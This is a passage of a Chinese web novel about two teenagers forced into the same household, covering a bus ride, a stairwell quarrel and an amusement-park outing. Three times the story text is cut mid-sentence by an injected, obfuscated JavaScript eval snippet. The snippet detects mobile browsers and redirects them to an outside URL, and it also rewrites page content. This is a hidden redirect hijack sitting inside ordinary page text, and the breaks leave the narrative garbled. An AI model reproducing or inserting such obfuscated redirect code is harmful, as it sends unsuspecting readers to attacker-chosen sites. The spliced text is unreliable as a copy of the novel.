“……没有。”梁月听回神,移开视线,继续往食堂走,心里闪过许多疑惑,面上却平静,“不认识。” - 下午六点,志愿者工作准时结束。方丹丹回家吃饭,到点就拎包开溜,边跑边跟梁月听说再见。 “明天见。”梁月听在忙,没抬头,挥挥手,慢吞吞收拾完最后一点,起身时,她已经跑没影了。 梁月听:“……” 她挑了挑眉,拿上包去食堂吃饭。 “今天阿姨精神好吧?看到我俩都能认出来,还给我俩剥橘子吃。” 浑厚带笑的声音从身后传来,梁月听放下餐盘,往后瞥了一眼。 巧了吗这不是。 几个十分眼熟的人坐在食堂的餐桌旁,有说有笑。开口的那个赫然是赵阳,他旁边坐着简坚,还有一人独自坐在另一侧,神情极淡,不似他们轻松。 下午的疑惑连同昨天未能得到解答的好奇一齐冒出来,梁月听没忍住,多看了两眼。三个人衣着休闲,正在聊天,餐盘里的饭菜还没动,看样子也是刚下来。 正要转身时,梁月听抬眼,看见对面坐着那人缓慢撩起眼皮,视线越过赵阳和简坚头顶,落在她身上。 四目相对。 停顿几秒。 明明还隔着一个桌子的距离,明明四周嘈杂声不断,梁月听却无端觉得,自己像偷听墙角被抓了一般,难得有些尴尬。 她装作无事地抿了抿唇,故作镇定地跟林照野对视了两秒,然后才移开视线,坐下,拿起筷子,给人留一个异常端正挺直的背影。 好像一切偷偷摸摸的事情,都跟她没关系。 林照野盯着她的背影看了两秒,倏尔低睫,幅度极小地勾了勾嘴角。 “烦死了,一想到要开学就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过她反正是答应了林照野,不把这件事告诉林海云,他应该放心了。 应该也不会再等她了。 想到这里,梁月听呼出一口气,迈步越过最后两级台阶,紧了紧背包带子,往外走去。 大门外依旧漆黑,晃眼时只有随风摇曳的树影,再没有人,梁月听拉书包带子的手顿了一秒,复又眨眨眼,没有停留,继续往前走。 山路算不上宽敞,蜿蜒盘旋,沿着柏油马路往前走了一段。 入夜稍凉,山风吹过身侧,扬起长发,激起一层细小的鸡皮疙瘩。路灯昏暗,只能照亮脚下的方寸之地,两灯之间的地带像无人顾及的荒地,黑得有些不像话。 ……昨天怎么没有觉得呢。 梁月听小心看着脚下的路,抱臂搓了搓手臂,加快了脚步。 公交站台遥遥在望,末班车的车灯在拐角处亮起,梁月听的脚步却倏然一顿。 她依旧抱着臂,停在原地,看着站台前蹲着那人。 林照野双腿略分,手肘搭在膝盖上,由下自上,抬眼望她。 神情平静,没有任何异常,只是轻轻将眉一挑,等很久似的,轻呼出一口气,直起身来,食指勾着耳机线,半轻不重地绕了两圈。 车灯光影从他身上一闪而过,车门“吱呀”一声打开,伴以尾气排放的声响,莫名让这夏夜热闹起来一些。 林照野向前迈了两步,偏头,见她还兀自停在原地,有些呆愣的模样,于是垂眼看她,将头轻轻一偏,低声道。 “走了。” 10.入侵者 10 夜晚的末班车依旧人少,公交车摇摇晃晃,缓慢地驶过山路,月光混着路灯暖橙色的灯光,从半开的窗户里倾泻进来,拉长又缩短。 梁月听依旧坐在后排靠窗的位置,看暗色的光点从腿上一闪而过。 与昨天不同的是,这次没有人站在后门口,而是在她身旁。 她单手缠着耳机线,不动声色地犹豫半晌后,盯着窗外,不大自在地开口。 “你为什么又等我?” 她旁边的人看起来比她放松得多,半靠着椅背,仰了仰头,微微阖眼,在短暂的瞬间露出些微的疲惫,然后又迅速被平静的神情替代,半轻不重地反问道, “你觉得呢?” ……我觉得个屁啊。 梁月听无言,偏开头,不想再跟他讲话。 “我觉得你脑子有点问题。” 林照野也不恼,轻飘飘地点评道,“还挺记仇的。” 不然呢? 梁月听忍住翻白眼的冲动,移开视线,将耳机塞到耳朵里,偏头看向窗外,不理他了。 这次的路途还算平静,山路蜿蜒,路边有夏夜晚风,乘客上上下下,没有再出什么幺蛾子。 公交车到站,随着一阵尾气的声音,后车门打开,一前一后下来两个人。 这感觉实在太诡异。 明明两个完全没有关联,连走在一起都没有话讲的人,却要一起走过同一段路,甚至走进同一扇家门。 梁月听已经许久没有经历过这么煎熬而又尴尬的时刻了。 夜晚的小镇几乎已经入睡,只留下零星几扇窗户还亮着,路过楼下时,能听见一星半点电视机的声音。 路灯不算太亮,只能堪堪照亮脚下的一段路。两个人的影子一前一后,在水泥地上,被灯光拉得很长。 走到楼下时,梁月听终于有些忍不住了。 她站定,回头,把背包往背上提了提,看着他,“就到这儿吧。” 林照野单手插兜,在她身后两步的地方,也缓慢站定,略一低头,挑眉望着她,意思是在问“什么”。 “就送到这儿吧。”梁月听重复了一遍,“我要上去了。” 空气又安静几秒。 有风从两人之间的空隙中吹过,轻声作响。 顿了好几秒之后,林照野才反应过来她意思似的,极其轻微地眯了眯眼,似笑非笑地问她, “你不会以为我是专门送你的吧?” 梁月听愣了一秒。 “就送到这儿……”林照野学着她的语气,轻声重复了一遍她的话,倏尔笑了,看着她,“你是上去了,” “那我去哪儿呢?” “……” 梁月听顿了两秒,接着,后知后觉地抿起了唇。 她怎么知道他的啊! 他一天到晚不着家的,她从疗养院回来的时间已经够晚了,但从来没有在家里看见过他。 昨天晚上也是,他只是把她送到楼下,然后看着她上去,直到她洗完澡入睡了也没见回来。 谁知道他今天又要早回了?! 她还以为是他对让她守口如瓶这件事不放心,特意等在门口刷存在感,提醒她记得这件事呢。 而且看林照野那神情,他肯定是知道她会这么想的,就憋着这股劲捉弄她呢。 梁月听抿着唇,瞪了他一眼,骂道,“林照野,你真的有神经病。” 说完,她就转身迈步,匆匆转头上楼了。 单元楼的灯随着她的脚步声亮起,一层又一层,将地面映得很亮,有橙色的暖光落在身上。 林照野抬眼,看着少女的身影在镂空的砖墙后闪过,匆匆忙忙,步伐迈得很快,像是不想再跟他有交集似的,还有几分像猫和老鼠里,汤姆猫生气时走路的姿态。 看了几秒后,少年垂下眼,唇边带了点不明显的笑意,跟在她后面,迈步上楼。 - 三楼的声控灯好像坏了,梁月听用力跺了几下,也没见亮。 在包里翻找钥匙的时间,有的人仗着腿长,已经到了她身后,在本就昏沉朦胧的黑暗里,压下一片更深的浓重。 林照野也不帮忙,就这么散漫地往边上一靠,好整以暇地看她翻找。 神/经病。 梁月听又在心里骂了一句。 说起来也稀奇,这竟然是他们第一次一起站在这扇门外,一起“回家”。 ……真晦气。 梁月听一边这样想着,一边在包里翻。楼梯间本来就没什么光,灯一坏,就更黑了,她包里东西又很多,钥匙小小一个,翻来覆去也找不到。 林照野看着她从包里翻出钱包、本子、相册的时候都没说话,直到看见她掏出一本巨厚无比的书时,才扯了扯嘴角,问她, “你平时经常在外面露营吗?” “什么?”梁月听还埋着头在找,没怎么懂,蹙着眉,随口答道,“露营?没有啊。” 林照野视线在她包里众多不需要带出门的东西里扫了一圈,闲道,“那你怎么把全部家当都背在包里?” “……” 梁月听顿了两秒,才反应过来他意思。 他在说她包里没用的东西很多。 梁月听又停了好几秒。 其实平心而论,这句话算是一句很正常的话。 顶多是带了点讥诮和嘲讽,但从林照野这样的人的嘴里说出来,也显得再温和不过了。 但是黑暗好像会放大人的情绪。 此时此刻,梁月听站在这里,站在这个她来了许久,却还是不熟悉的地方,忽地感到难堪。 “你为什么把这么多没用的东西带在身上?” 这句话好像有什么魔力,好像是阿里巴巴与四十大盗里面那一句咒语,牵扯出众多前尘旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680989|156290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨,迅速将人从稍显轻松、稍微放松警惕的场景里拉出来,回到冰冷而又陌生的环境里。 一时间没人有说话。 黑暗的楼梯间里,呼吸可闻。 良久,梁月听偏头,在一片黑暗中望向他,没什么情绪,却一字一句地轻声道, “关你屁事。” 声音很轻很轻,没有具象且明显的愤怒,一如她这个人一样,清冷疏离,却看起来尖锐异常。 其实是有一点突兀的。 气氛好像倏然就冷下来。 她这句情绪不算太好的话像一把利刃,立刻划开了这片因为两个晚上的对话而稍显缓和的,脆弱的、短暂的、本就不稳固的联结。 几乎回到一开始的冰点。 又过了几秒,梁月听握住钥匙,把翻出来的东西一个又一个,重新妥善地放进包里,然后背在身上,呼出一口长长的气,再度偏头看他, “不只是你一个人觉得领地被入侵了,林照野。” 这是她今晚第二次喊他名字。 依旧连名带姓,却和前面那次完全不同,完全没有任何戏谑、生气的意味,只有平静。 平静到几乎让人难以辨别。 林照野的神情隐在黑暗里,看不清。 但梁月听也不想看清。 “你不会因为一时没看好,而弄丢很重要的东西。不会走在街上,对着全然陌生的面孔,耳边还要听那些指指点点。” “也不需要随时把重要的东西带在身边,防止再度感受莫名其妙丢东西的恐惧。” “最重要的是,你不需要拥有那种,每分每秒都准备好,要离开这个地方的勇气。” 黑暗的楼梯间里一片寂静。 梁月听握着钥匙的手攥得很紧,自嘲似的扯了扯嘴角, “我理解你对自有领地的捍卫,防备,也理解你对我的敌意。” 她把钥匙插进锁孔里,在旋转扭动的前一秒,平静地说道, “但我甚至不像你。” “我没有领地。” 就算打开这扇门进去,会有人招呼寒暄,但也是无谓的负担。 她才是那个入侵者。 背井离乡,孤身一人进入别人的领地,孤独感甚至更重的“入侵者”。 所以她需要把所有对她而言意义非凡,关系重大的东西,都收拢在一个小包里,像袋鼠肚皮上的口袋,跟着她早出晚归。 因为她迟早会离开的。 一阵对梁月听自己来说几乎是失态的言语过后,林照野依旧站在原地,没说话。 他不置一词地站在一片黑暗里,看纤细的少女背着极重的双肩包,拧开厚重的门,进入一个看似明亮温暖的地方,挂上平静礼貌的面具。 好像确实是那种世俗意义上的“一家人”。 但其实他们都清楚地知道。 这个地方不属于她。 11.游乐园 11 那次在楼梯间里闹得不愉快之后,梁月听就没怎么再单独跟林照野一起走过。 她不再在疗养院蹭晚饭,到点就背包走人,一方面是不想再跟他有接触,另一方面是,初来乍到,她确实还有很多事情要忙。 至于林照野,顶多就在饭桌上偶尔见一见。 但是两个人都不说话的。 满桌的菜肴边,只能听见林海云对于工作和同事的抱怨,还有男人惯常的、对于时事的高谈阔论,中间穿插着董淑和招呼这个吃菜,笑着给那个夹菜的声音。 但是没有人领情。 时常是林照野和梁月听一人坐一头,默不作声,草草吃两口就算。 更多的时候,林照野都不在家。 梁月听不知道他在干什么,偶尔在疗养院看见他,也偶尔看见他的朋友们,但她都不怎么挂心,瞥一眼就算了。 毕竟她也很忙。 忙着社会实践,忙着找日记本,忙着转学要用的手续,还忙着应付何家那两个小女孩。 又一次碰壁后,她蹲在夜晚的台阶上,仰头看星星,看好多好多年前的光芒闪烁在此刻,忽然觉得,人的习惯好像都是会改变的。 仔细想来,日记本丢了好像已经一月出头,渐渐的,她也慢慢习惯不再写日记了。 接下来是什么呢? 习惯孤身一人,习惯心存隔阂,习惯麻木不仁吗? 她不知道。 像被温水慢煮的青蛙,在彻底的死亡来临之前,都是毫无所觉的。 正想着,手机铃声忽然响起,梁月听眨了眨眼,活动了几下因为仰望太久而酸涩的脖子,点开手机屏幕看了几眼。 来自一个许久没有联络过的号码。 【听听,这周末爸爸和阿姨有点事,一时半会儿找不到合适的人来带小雅,你有空吗?可以帮帮忙吗?】 梁月听顿了几秒,一时没有答复。 倒是手指滑动,往上翻了翻。 她跟这个号码的聊天记录简直少得可怜,只用一两下就滑到顶了。 梁国栋上一次给她发消息还是一年前,那时候正处于他和董淑和闹离婚的时期,连跟她的语气都不太好,只是生硬地问她去哪儿了,而她没有回,他也没有挂心。 梁月听坐在台阶上,感觉石头的凉意透过衣服,侵染到了她身上。 夏天已经过去了吗? 那不然,晚上怎么这么冷。 又对着天空发了会儿呆,就在梁月听准备彻底忽略这条短信,上楼回家之前,同一个号码又发来几条信息。 【小雅之前见过你一次,很喜欢你的。而且她现在已经基本可以自己管自己了,只是需要有人看着,不会让你有太大负担的。】 【你记得你以前也老是一个人在家吗?要是那时候有人能陪你就好了。】 “要是那时候有人能陪你就好了。” 梁月听看着这句话,动作一顿,忽然没来由地想笑。 这算什么? 打亲情牌吗? 果然还是一家人最懂怎么伤人。 梁月听顿了很久很久,终于还是在聊天框里敲下回复。 【周六上午,你把她送过来吧。】 - 周六的游乐园总是分外拥挤。 两个小女孩兴奋地跑在前头,时不时看看卖糖葫芦的摊儿,时不时又在挂满氢气球的小贩旁边停留。 她们后面跟着一胖一瘦,看起来不太情愿的两个男生。 “干嘛啊。”赵阳在她们后面走的有点累,喊道,“干嘛非要我们陪你们来游乐园啊,这都是小孩子玩儿的了,我们这年纪都不玩儿这个了。” 何星星顺手拿起一个面具,冲他吐舌头,“就是要多运动,看看你自己,再不走走,都快有十个尖尖儿重了!” 简坚“诶”了声,扶了扶眼镜,“尖尖儿是你能叫的吗?这么漂亮一个小姑娘,怎么这么不礼貌呢?” 眼看着另一个小男孩横冲直撞,要冲过来把何星星撞倒,简坚眼疾手快,一把拽住她衣领,把人拉过来,让她躲过一劫。 “要叫哥,知道不?”简坚揪着她衣领说。 何星星被扼住了咽喉,还是宁死不从,继续吐舌头,“就不叫就不叫就不叫。” “只有那种又帅又酷的人才能当哥哥。” 何月月帮妹妹掰开简坚的手,认真道,“只有照野哥哥才是哥哥,你不是,你是尖尖儿。” 简坚:“?” 赵阳也不服,“不是,凭啥啊?那我是啥啊?” 两个小女孩对视一眼,十分默契地开口道,“你是胖子!” 然后还没等赵阳反应过来,俩小丫头片子就飞快地跑远了。 “……我真服了。”赵阳无能狂怒。 简坚笑了一会儿,看向后面那个神情平淡倦怠,慢慢走来的人。 “没睡好?”他问。 林照野站定,抬了抬下颌,喉结滚了一滚,避重就轻地答,“就那样吧。” “你这天天连休息的时间都没有,还答应陪她俩来什么游乐园啊。”赵阳劝道,“回去补觉吧你。” “没事。”林照野过了会儿才答,长腿迈开,继续往前走,“反正回去也睡不着。” 他身后,简坚和赵阳对视一眼,互相都从对方的脸上看出了担忧。 - 何星星和何月月这两姐妹像是不会累的,跳楼机和过山车玩儿了一遍又一遍,还是赵阳实在饿得不行了,硬哄着她们去吃饭,几个人才得以找到个座位坐下。 “是真累啊。”赵阳瘫在椅子上感叹,疑惑地回忆道,“我们小时候体力有这么好吗?” “我俩肯定没有。”简坚给出肯定的答复,伸手指了指对面,“这位才有。” 林照野半靠在椅背上,姿态散漫随意,闻言很轻地挑了挑眉,轻声道, “练出来的么。” 他这句轻飘飘的语句一落,简坚和赵阳的动作都一顿。 气氛一时安静下来。 虽然他这句话来得随意而又毫不挂心,像成年人回望童年时期自己的创伤,轻飘飘,甚至笑着一笔带过, 但是他们全都知道,他话里的那句“练出来的”,究竟指的是什么。 那是一段缠绕着纱布和绷带,混杂着伤口和血液的回忆。 一时间,他们坐的这桌,在游乐园露天餐厅的嘈杂里,安静得都显得有些奇怪了。 还好何家两姐妹飞快地从点餐处跑过来,拉起林照野的袖子就走。 “快来。”何月月一脸神秘,说,“你猜猜我们在这儿看见了谁?” - “我不要吃这个口味的冰淇淋,你买错了!重新去给我买!” 餐厅里,一个正在大喊大叫的小女孩很容易吸引所有人的注意。 似乎是看与她同行的人并不理他,陈小雅开始变本加厉,原地撒泼般大吼,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706588|156290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你买错了!!!我不要香草味,我要草莓味,你重新去给我买!!!” 她身前,一个身材纤细的长发女孩站在原地,没有什么反应,也没说话,就那么看着她。 “你去给我买!你去给我买!爸爸不是说你会照顾我的吗,不是说你很好的吗?你去给我买!!” 她把手上的香草冰淇淋往地上一扔,不住地跺着脚,就地蹲下,反复闹着。 饶是游乐园餐厅这样嘈杂的场所,都快被她搅得不得安宁,引起了许多人的不满。 远处餐桌有人喊了一声,“能不能别吵了?” “你怎么带孩子的啊?给买一个不就行了?你这样吵着,我们都不好受啊。” 近一点的,有人正站在冰淇淋排队队列里,目睹了全程,小声跟同伴说,“这小孩第一次说她要吃巧克力味,第二次说要吃香草味,这已经是第三次了。” “每次都说买错了,让这小姑娘重新去给她买,但其实根本就没买错,单纯折腾她呢。” “这姑娘脾气还是真好,事不过三了吧……要我我就扇她了。” “而且她看着年纪也不大啊,也就十几岁吧,估计是这小孩儿姐姐。” “但是也没听这小孩儿叫过她啊,一口一个喂的,没礼貌……” 梁月听就那么站着,没去清理,也没去哄她,抱着臂站在原地,居高临下地看着她。 平静,淡然,连气都懒得生。 陈小雅见状,更急了,气得连忙使出小孩儿自认为的撒手锏,屁股往地上一坐,就开始在地上打滚。 手和脚不住地锤着地面,大声吼,“你去给我买!你去给我买!” 梁月听挑眉,看了她好几秒之后,轻轻叹了口气,从旁边拽了个椅子过来,坐下,后背靠在椅背上,就那么看着她。 完全一副毫不在意,看戏的姿态。 陈小雅一边哭一边闹,还不小心滚到刚刚自己摔的那个冰淇淋旁边,染上了融化的冰淇淋液,把衣服弄得湿哒哒而又黏的,恶心得很。 她“哇”的一声大哭出来,坐起身来,“你这个坏人!你就是坏人!怪不得你爸爸不喜欢你!怪不得你爸爸不要你!” 梁月听眉眼一凝。 她依旧是那个坐着的姿态,神情变化也极其轻微,只是从毫不在意的看着她,变成目光实实地落在她身上,但莫名让人感觉周围的空气都冻住了。 小孩子的情绪极其敏锐,看这招有用,陈小雅变本加厉, “你爸爸不要你了!你爸爸宁愿要我都不要你,你还不知道为什么吗?” “你妈妈破坏别人家庭,是坏人!你也是!龙生龙凤生凤,老鼠儿子会打洞!” 一时间,餐厅都寂静下来。 无数桌人的目光望过来。 大人,小孩,无数道视线,像划开空气的利刃,直直地划过她的脸,留下一道一道看不见的破痕。 梁月听看着她,半晌,倏然偏头,扯了扯嘴角。 接着,少女从椅子上起身,两步迈到她身前,单手揪着她的衣领,小臂用劲,将这个六岁的小孩从地上拎起来,然后大步向门外走去。 动作干脆利落,走路带风。 小臂肌肉绷紧,纤细的指尖拧得极紧,将人悬空拎起,不允许任何反抗。 唯一一次脚步略钝,是她视线从人群中掠过,倏然停在一个熟悉的人身上时。 林照野半倚在门边,单手插兜,平静地望着她。 12.血腥气 12 “我要告诉你爸爸!你欺负我,我要告诉你爸爸!”小孩被拎出去的同时,还在空中不断扑腾,嘴里威胁着。 “告啊。” 梁月听一路把她拎到餐厅外,把人往角落里一扔,迈步堵住她想跑的路,垂眼看着她,声音轻轻。 “你不是都知道他不要我了吗?” 少女俯下身,轻轻地用手捏住她的下巴,另一只手撩开她因为扑腾而凌乱的头发,抚弄她的脸颊,看着她,声音轻柔地问, “那你觉得……” “他还能管得住我吗?” 声音和表情都很柔和,几乎温柔到了让人觉得怪异的地步。 话音落下,小孩儿惊恐地瞪大双眼,缓慢地停止了挣扎。 ……恐惧。 陈小雅被迫看着她的眼睛,由衷感到一阵恐惧。 她以为她是好欺负的。 当继父说他的女儿要暂时来带她时,她心里是极其不愿意的。 她并不想离开父母,不想跟陌生人出去玩儿,但是木已成舟,没有办法。 于是她在继父送她去城外鸟不拉屎的小镇上时,装作很乖的模样,但是当继父的车离开,她就开始颐指气使。 挑这挑那儿,一定要回城里,一定要来城里的游乐园玩儿。 一定要玩儿爆满的项目,一定要吃满座的餐厅,一定要三种不同口味的冰淇淋。 而她却始终淡淡的。 对她所有的要求都无动于衷,去做也行,不做也行,有种天塌下来都无所谓的冷静感。 直到她开始寻找她的痛处,并狠狠戳下去。 但好像也不是很奏效。 “你……你明明也不喜欢我,为什么要答应来带我?”陈小雅被堵在角落里,连说话都有点结巴了。 裙子上沾上的冰淇淋液慢慢浸透,裙子湿哒哒地贴住腿,凉得很。 但还是没有眼前这个人给人带来的压迫感强。 梁月听站在她面前,眨了眨眼,忽地想起那句,“你记得你以前也老是一个人在家吗?要是那时候有人能陪你就好了。” 良久,她偏头笑了笑,说,“因为我犯/贱啊。” 明明知道他是这样的人,明明知道他说那些话根本不是出于愧疚,只是想让她升起恻隐之心,从而达到自己的目的,但她还是相信了。 就因为那一点极其微妙的情绪,觉得“万一呢”。 万一他是真的这么觉得的呢。万一这个小女孩是真的很乖,也是真的需要有人陪呢。 但很显然,现实再度给了她一个响亮的耳光,告诉她,不要再对任何人抱有期待。 梁月听神情平静地回过头来,看了眼表,“现在是下午两点,六点过的时候你妈会来接你,你只能在这个范围内活动,不能离开我的视线。” “当然,”她顿了顿,无所谓道,“你离开了也没关系,我刚好也可以早点回家。” 陈小雅咽了咽口水,结巴道,“……不,不离开。” “行。”梁月听后退半步,视线在她裙子上瞥了一眼,“现在自己去卫生间把裙子洗干净,我要……” 说到这里,她顿了顿,回头看了看身后不远处懒洋洋坐着,像在看戏的人,皱了皱眉,放轻声音道, “……去应付另一个讨厌鬼了。” - 林照野买了瓶可乐,坐在路边的长椅上,靠着椅背,仰头看着不远处,看少女训完熊孩子,回头向他这边走来。 迈步很快,像一阵风一般,落在他边上。 一如刚才把熊孩子拎出去那个劲儿。 “看戏有意思吗?” 来势汹汹,来者不善。 但林照野不接。 “挺有意思的。”他答道。 想到她刚才那个模样,又弯了弯唇角,拎着汽水瓶的手晃了晃,闲闲感叹道,“可惜没有爆米花。” 梁月听坐在他旁边,闻言白了他一眼,懒得骂。 “你也会来这种地方啊?我以为你天生一副谁都欠你钱的样子,只会去那种能让你发挥的地方呢。” 这是在嘲他不友善。 阴阳怪气的够可以的。 林照野挑了挑眉,“看来她是真把你惹生气了。” 梁月听一顿,又听见他在旁边漫不经心地晃着汽水瓶,慢悠悠地接道, “毕竟那天在楼梯间骂我,话都没这么直白呢。” 梁月听停了几秒,而后像泄了气的皮球一般,身体往后一靠,呼出一口气,满身气焰倏然灭了。 他是对的。 她是迁怒他了。 平心而论,林照野又什么都没有做。 不是他撒的泼,不是他骂的人,也不是他惹她生的气。 硬要说的话,他的过错就是恰好出现在这里,恰好看完了这一场闹剧而已。 无端迁怒他人,并不是她的作风。 梁月听轻轻地呼出一口气,捏了捏眉心鼻梁,这才后知后觉地感到疲倦。 不远处,陈小雅已经洗完裙子,从卫生间里出来了,遥遥看着她,不敢过来,也不敢走太远,只好在对面旋转木马旁边的椅子上坐下。 林照野也看见了,不知道从哪儿拿出一瓶新的可乐,漫不经心地递给她,问,“你爸的新女儿?” “……” 他说话总是这么难听。 好在她也快习惯了。 梁月听看了他的手几秒,才拎起瓶子上端,与他握在底部的手隔了十万八千里,好像生怕跟他有肢体接触似的,就这样一把接过,边拧开瓶盖,边“嗯”了声,“继女。” 林照野显然也注意到了这点,只是很浅淡地挑了挑眉,将视线从汽水瓶上收回,没说什么。 “你跟你爸关系不好吧。”他倏然这么问道。 梁月听顿了顿,没正面回答,只是反问他,“为什么这么说?” “你这么讨厌我家,还愿意跟着你妈一起过来,那只能得出一个结论,”林照野晃了晃剩下的半瓶汽水,让液体在塑料瓶中流动,发出声音,而后才接道, “你跟你爸的关系,比你跟我的关系还要差。” 所以她才会宁愿忍受自己作为一个“入侵者”,搬进别人的家,而不是跟她父亲一起,留在自己家。 梁月听沉默了很久,似乎是陷入了某种回忆里,甚至无暇去顾及他那句用他们两个人的关系来做比较的玩笑话。 良久,她才轻声答道,“是,也不全是。” 梁月听盯着地面,安静地说,“他不要我。” 客观而又直白,没有掩饰,没有自我欺骗。 像她很清楚个中缘由,也不屑于就此遮遮掩掩。 就是梁国栋不要她。 没什么好掩饰的。 林照野也顿了好几秒,偏头看了她一眼。似乎是觉得她这个回答出乎意料,但很快就调整好,将视线转回正前方。 何星星和何月月也没有走远,在路边摆的小摊上玩儿射击,端着玩具枪瞄准最上面的气球,看起来像是想要赢取最大的玩具熊。 陈小雅也被她们吸引了注意力,小步小步地走过去,在旁边观看。 梁月听看了她们一会儿,忽然道,“我小时候也来过这里。” 在她尚还懵懂的时候。 在家庭尚还圆满幸福的时候。 也许世界上每一对最后走向分开的夫妻,都不是从一开始就针锋相对,水火不容的。 他们可能也有过一段幸福美满的时候,也有过夫妻二人手牵手,笑着讲话,一起逗弄怀里孩子的时候。 很不幸的是,梁月听这人念旧,将过去的事情记得特别牢。 她盯着远处的射击摊,像是陷入了回忆。 “我小时候射击成绩还不错,路边摊上的气球,永远都是百发百中。” 那时候,梁国栋会坐在她旁边,时不时辅助她,调整一下她的动作,而董淑和则乐呵乐呵,从脸都快绿了的老板那儿抱来最大的玩具熊奖品,还好心安慰老板,说没事的,她这样厉害的小朋友很少的。 梁月听顿了顿,轻声道,“那个日记本,也是那个时候赢得的。” 其实就是很普通的本子,只是因为承载了太过生动的回忆,因为那些已经逝去的时光,而显得不普通。 林照野看了她一眼。 梁月听毫无察觉,依旧陷在回忆里。 那些记忆总是过于清晰,以至于在之后的很多时候想起来,都会觉得,清晰得让人有些难过。 一种来自物是人非,时过境迁的难过。 林照野就在旁边坐着,神色平静,看着不远处的摩天轮,也不知道到底在没在听。 几秒后,他收回视线,看了一眼梁月听,“倒是看得出来。” 梁月听回神,顿了顿,“什么?” “你。”林照野说,然后用手比了个枪的姿势,意思是看得出来她射击枪法不错。 “……切。”梁月听嗤了声,没理他,偏开头,陷入了另一段新的沉默。 林照野本意是想不发表什么看法,尽量用浅淡的话语带过,但偏头看了看,少女依旧看着远方,像是在怀念什么。 好几秒后,约莫是看她今天是走不出来了,林照野没辙,身体往椅背上一靠,嘴角带了点讥诮的笑,重新开口道, “他给你钱吗?” 梁月听皱眉,“什么?” 林照野抬起下巴,点了点远处的小女孩,“你帮他带孩子,他给你钱吗?” 梁月听的眉头皱得更深,“我只是帮他带两天而已,又不是……” “哦。”林照野轻飘飘地打断她,点了点头,似是完全了解了,闲闲点评道,“免费临时保姆。” 免费,临时,保姆。 短短六个字,三个词,再加上他漫不经心又讥诮的语气,梁月听像是被狠狠刺痛了,像是被人扒开了遮羞布一般的难堪。 “你闭嘴!”她说。 “我为什么闭嘴?”林照野反问道,“天大地大任我行,你管天管地,还管人说实话啊?” 梁月听感到一股郁气从心底升起。 她知道林照野说的是实话。 她也知道她在梁国栋眼里,的的确确就是一个“免费临时保姆”。 但是她感到难堪。 自嘲与被别人戳穿的感觉,是完全不一样的。更何况,对面还是一个,她从来就不喜欢的人。 “你难道没有这种时候吗?”她用怒气掩饰难堪,气势汹汹地问道。 “我?” 林照野像是有些惊讶,挑了挑眉,又确认了一遍,“你问我吗?” “对啊。”梁月听说,“怎么?太久没人问过你这种问题,受宠若惊了?” 林照野笑了一下,没管她攻击力拉满的语句,慢悠悠道,“不好意思啊,你问错人了。” “这种软弱无力,想割舍又割舍不掉的情绪……” “我还真的,”林照野顿了顿,依然嘴角依然噙着笑意,眼神却是平静冷漠的,轻声道,“从来没有过。” 梁月听一顿,被他话里隐藏的冷漠镇住,偏头看了他一眼。 “怎么?”他似笑非笑地回看她,问,“觉得我冷漠?” 梁月听没答。 林照野转着手里的汽水瓶,骨节分明的手干净利落而又熟练地把玩着,随口道,“不冷漠会得到什么下场?” “像你吗?” “一边想着要逃离,要远离,要离开这一切,一边又被锁链缠住,束缚,作茧自缚?” 梁月听心脏砰砰直跳,僵在原地。 虽然她很不想承认这一点。 但他是对的。 梁月听一直都陷在这样的困境里。 她既想不管不顾所有,专心做一个自私自利,唯自我主义至上者,以此来让自己的日子好过一点,却又始终放不下那点微弱的羁绊,譬如父母,譬如过去,在两种状态之间反复纠结,唾弃自己,反倒让自己更难过了。 见到她的第二眼,林照野就看出了这一点。 清晰,果断,如同她咽下那颗苦味的花椒,如同他那句了然的“没劲”。 清醒而又毫不挂心,譬如一场隔岸观火。 “你想一劳永逸吗?” 漫长的沉默过后,他这么问她。 林照野看着她的眼睛,“你想以后都不再被这些东西困扰吗?” 梁月听顿了顿,嘴唇抿紧,没有说话,但眼睛里却透露出了狐疑的神情,还有那么一点点的渴望。 她实在被这些东西困扰太久了。 反复告诉自己要做一个冷漠的人,反复让自己不要再陷入从前的困境中,却好像总是失败。 她早就不想再在意别人的想法了。 林照野看着她的眼睫颤动着,忽闪忽闪,在那张总是充满警惕和敌意的脸上出现近乎茫然的神色时,缓慢地凑近她。 两个人的鼻尖差一点就要碰到,少年因为动作而带起的风轻轻停在她身边,扬起耳边的碎发。 他看着她,从眼睛到嘴唇,停顿几秒后,又回到眼睛,缓慢启唇,一字一句地低声道, “把你的记忆想象成一本书,找到那些让你痛苦的东西在哪一页。” 他的声音低而缓,明明只是普通 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时间转瞬而过,夏日的太阳落到了离地平线不远的地方。 林照野依旧百无聊赖地坐在游乐园大道旁的长椅上,看陈小雅的母亲开车进来接她,副驾驶上坐着一个与梁月听眉眼有几分相似的男人。 瘦高,羸弱,戴眼镜。 相似的只是眉眼,林照野眯着眼想。 梁月听身上可没有他那种唯唯诺诺、卑躬屈膝的气质。 